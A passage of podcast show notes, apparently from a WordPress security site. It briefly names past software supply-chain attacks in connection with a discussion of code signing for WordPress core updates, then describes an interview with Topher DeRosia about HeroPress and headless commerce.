• Other supply-chain attacks that have exploited software delivery, including: ASUS, the Flame Windows exploit, and the CCleaner “ShadowPad” exploit which affected over 2.27 million computers.
• A previous supply-chain attack on WordPress plugins which affected 9 plugins over 4.5 years.

You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Do you have thoughts about WordPress core update code signing? Please feel free to post your feedback in the comments below.

Topher DeRosia is the Developer Evangelist for BigCommerce and a frequent WordCamp speaker. He’s worked with WordPress for a long time and is the man behind HeroPress, telling the stories of people whose lives have been transformed by WordPress. HeroPress is now syndicated on WordPress.org/news, bringing these inspirational stories to an even wider audience. At WordCamp Boston, Topher and Kathy talked about everything WordPress, from security to eCommerce, HeroPress, headless WordPress, headless eCommerce as well as how these new methods of distributing content and commerce will change publishing.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find Topher on Twitter as @topher1kenobe and at topher1kenobe.com and at HeroPress.com. You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.